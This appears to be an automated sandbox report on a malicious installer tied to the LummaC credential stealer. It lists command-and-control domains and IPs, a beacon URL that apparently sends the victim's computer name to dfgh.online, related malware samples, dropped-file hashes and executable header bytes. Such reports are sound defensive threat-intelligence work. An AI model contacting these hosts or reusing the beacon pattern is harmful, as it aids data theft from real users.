https://www.innosetup.com/	M6BJM5KUQF518S8VT.exe, 00000013.00000003.2208743854.000000007F3AB000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.exe, 00000013.00000003.2205467379.0000000002ECF000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000000.2211494142.00000000005E1000.00000020.00000001.01000000.0000000B.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000000.2230536348.00000000003CD000.00000020.00000001.01000000.0000000D.sdmp, M6BJM5KUQF518S8VT.tmp.19.dr, M6BJM5KUQF518S8VT.tmp.21.dr	false		high
https://sectigo.com/CPS0D	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://dfgh.online	powershell.exe, 00000011.00000002.2139406602.0000000005286000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org0	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org/	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false	Avira URL Cloud: safe	unknown
https://dfgh.online/invoker.php?compname=	powershell.exe, 00000011.00000002.2143078253.0000000007681000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.autohotkey.comCould	BrightLib.exe, 00000032.00000000.2648503782.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2699170981.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Likewise.com, 0000000C.00000003.2067147445.000000000552C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000011.00000002.2139406602.0000000005131000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000011.00000002.2142050389.0000000006198000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://michaeluno.jp/4	BrightLib.exe, 00000032.00000002.2700113532.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ctnca.cer09	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.2139406602.0000000005286000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2143167569.0000000007838000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.2139406602.0000000005286000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2143167569.0000000007838000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000011.00000002.2139406602.0000000005935000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000011.00000002.2142050389.0000000006198000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/X	Likewise.com, 0000000C.00000000.1731060687.0000000000875000.00000002.00000001.01000000.00000007.sdmp, Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Brandon.8.dr, Likewise.com.1.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.autohotkey.com	BrightLib.exe, 00000032.00000000.2648503782.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2699170981.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Likewise.com, 0000000C.00000003.2038265788.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2054156923.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038211162.0000000003981000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	installer_1.05_36.8.exe	false		high
https://www.certum.pl/CPS0	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://michaeluno.jp/CA498BC144886901448821408869FF408871FE4883C10448FFC875E84803D349FFC875DA8B8C249	BrightLib.exe, 00000032.00000002.2700162595.0000000003316000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038355405.0000000003875000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Likewise.com, 0000000C.00000003.2067147445.000000000552C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/cscasha2.crl0q	M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.2139406602.0000000005286000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2143167569.0000000007838000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cscasha2.ocsp-certum.com04	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://ac.ecosia.org/autocomplete?q=	Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038355405.0000000003875000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://dfgh.online/invoker.php?compName=user-PC	powershell.exe, 00000011.00000002.2143550776.0000000007874000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2139406602.0000000005286000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://support.microsof	Likewise.com, 0000000C.00000003.2038211162.0000000003981000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Likewise.com, 0000000C.00000003.2066194819.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	BrightLib.exe, 00000032.00000002.2727197174.0000000039B51000.00000004.00000020.00020000.00000000.sdmp	false		high
http://michaeluno.jp/	BrightLib.exe, 00000032.00000002.2699238769.0000000000AEE000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2700716381.000000000623C000.00000004.00000020.00020000.00000000.sdmp, BrightLib.exe, 00000032.00000002.2700113532.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Likewise.com, 0000000C.00000003.2038265788.00000000010BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038355405.0000000003875000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.96.1	siffinisherz.sbs	United States	13335	CLOUDFLARENETUS	true
185.161.251.21	cegu.shop	United Kingdom	5089	NTLGB	false
172.67.208.58	klipvumisui.shop	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584828
Start date and time:	2025-01-06 15:46:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	installer_1.05_36.8.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@84/38@5/3
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 51% Number of executed functions: 47 Number of non-executed functions: 42
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.253.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BrightLib.exe, PID 1344 because there are no executed function
Execution Graph export aborted for target Likewise.com, PID 7648 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 8080 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:46:57	API Interceptor	1x Sleep call for process: installer_1.05_36.8.exe modified
09:47:02	API Interceptor	9x Sleep call for process: Likewise.com modified
09:47:42	API Interceptor	6x Sleep call for process: powershell.exe modified
09:48:33	API Interceptor	1x Sleep call for process: BrightLib.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.96.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	pelisplus.so/administrator/index.php
104.21.96.1	Recibos.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
185.161.251.21	setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	'Set-up.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse
172.67.208.58	title.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	'Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
klipvumisui.shop	title.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	172.67.208.58
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.208.58
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	'Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.37.128

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NTLGB	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	194.168.231.153
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	'Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
CLOUDFLARENETUS	setup.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.32.152
	https://sendbot.me/mousse-w0fysl7	Get hash	malicious	Unknown	Browse	104.16.79.73
	http://gleapis.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	http://jennadewanunwrapped.net	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://103-198-26-128.hinet-ip.hinet.net/wp/plugins/Tracking/click/php/SuperTracking.html#UUJWakY1bVdkWlZQejIwbVl3cDFHb2haOENXZVhYZlpLTUNSU2x1eEVCdGJtbVhKT0ZWNkVTNjlQSXJDLzI3ekErVVlzTkFZbkh5T29jeG1LcWM4YkJUekd2M2h4amIxRWZ4am4va3cvOVk9	Get hash	malicious	Unknown	Browse	172.66.0.145
	Profile Illustrations and Technical Specifications for This System1.html	Get hash	malicious	HTMLPhisher	Browse	104.21.80.1
	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	anrek.mp4.hta	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
CLOUDFLARENETUS	setup.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.32.152
	https://sendbot.me/mousse-w0fysl7	Get hash	malicious	Unknown	Browse	104.16.79.73
	http://gleapis.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	http://jennadewanunwrapped.net	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://103-198-26-128.hinet-ip.hinet.net/wp/plugins/Tracking/click/php/SuperTracking.html#UUJWakY1bVdkWlZQejIwbVl3cDFHb2haOENXZVhYZlpLTUNSU2x1eEVCdGJtbVhKT0ZWNkVTNjlQSXJDLzI3ekErVVlzTkFZbkh5T29jeG1LcWM4YkJUekd2M2h4amIxRWZ4am4va3cvOVk9	Get hash	malicious	Unknown	Browse	172.66.0.145
	Profile Illustrations and Technical Specifications for This System1.html	Get hash	malicious	HTMLPhisher	Browse	104.21.80.1
	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	anrek.mp4.hta	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.96.1 185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.96.1 185.161.251.21
	anrek.mp4.hta	Get hash	malicious	LummaC Stealer	Browse	172.67.208.58 104.21.96.1 185.161.251.21
	title.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	172.67.208.58 104.21.96.1 185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.96.1 185.161.251.21
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.208.58 104.21.96.1 185.161.251.21
	un30brGAKP.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.96.1 185.161.251.21
	Patcher_I5cxa9AN.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.96.1 185.161.251.21
	DansMinistrie.exe	Get hash	malicious	LummaC	Browse	172.67.208.58 104.21.96.1 185.161.251.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Setup.exe	Get hash	malicious	LummaC	Browse
	DansMinistrie.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	'Set-up.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	RisingStrip.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: DansMinistrie.exe, Detection: malicious, Browse Filename: installer_1.05_36.7.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: 'Set-up.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: 9W9jJCj9EV.bat, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: RisingStrip.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\d

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	488081
Entropy (8bit):	7.999679740187438
Encrypted:	true
SSDEEP:	12288:oIaZz6cfN/KzDmFb2jmdhWOhd4IZLGWbXJ31:9Oz6CdKzAyqEOhdVJVv
MD5:	BF39DB999FD293BA2A22F8D2EDF3AE83
SHA1:	C3A36D2D03C21435C9AFA6A76C2144F6692E1529
SHA-256:	0ADF165D94E85F56EADAEF133828F60B8F8C642B590A03F394AA9E0817BDBC0B
SHA-512:	6C93B729D2B64354F34BFBFB91DAC07F6B3A381E32AF4AB7863A5C92D0780CCB32AD1F5AD4623F335CFF8FFC243DC88B141E9409DE3CCEEE17E1C76FDCCAC06A
Malicious:	false
Preview:	.9.....<..4.M......w.WT[......I\|....[.t.s... .=.=.n;..@.W.,..1.X..3.q'.e..o..:.....#.@4.d1..G.cP.ci..-...I.!.M..wDB..~v...?#-.....3.h...x)..zf..... Ms..._.....N....K).B.a..BD.[=.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....E.;.'.F...h..............`..X0.X.`..X0.XkC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..t.&..,P..Myn.2..t.W....L...ER.......`.....X.`..X0.Xm......@.rx.5...x..2).U.j....2>..#.~.\|.2.....\|....Tn..u,....\|..#..P.G..c....S9-.../?Q;...@......gYgD.~g......- . ..v......o..E..Vb..lsx..0..1......E0..?H].zu.".OQ.<.u,...c.M....Vm.bp..5K...Xy....;^.....=z...{.be..l...\|..ZO.$.......4.....o.J..$..S...Q...<@g............_.TT"@c.2e...\|#..='..ei2O$.S7. .v%r.Jj2....6.....E.h.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Brandon

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	4.041758095626576
Encrypted:	false
SSDEEP:	768:LAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R/OWel3EYr8:Laj6iTcPAsAhxjgarB/5el3EYr
MD5:	6ED308F7D869EC3E4DB1FE15F830524B
SHA1:	E4D07A8E12C64E6FAEDCF539CD08E64C4040F96D
SHA-256:	62341BC1B0DCC86F45C396FE54B7B7645D1007AB784E8D4326CCEB7D87A2E502
SHA-512:	2DF2CF7DDDBDF3347E521FB3507BED0B70EEA8C6C70A41DA90D566BB191C6086F709FD505571FA3F62B8764F2E634C1CA42513365737AE831CDEB44C2C077364
Malicious:	false
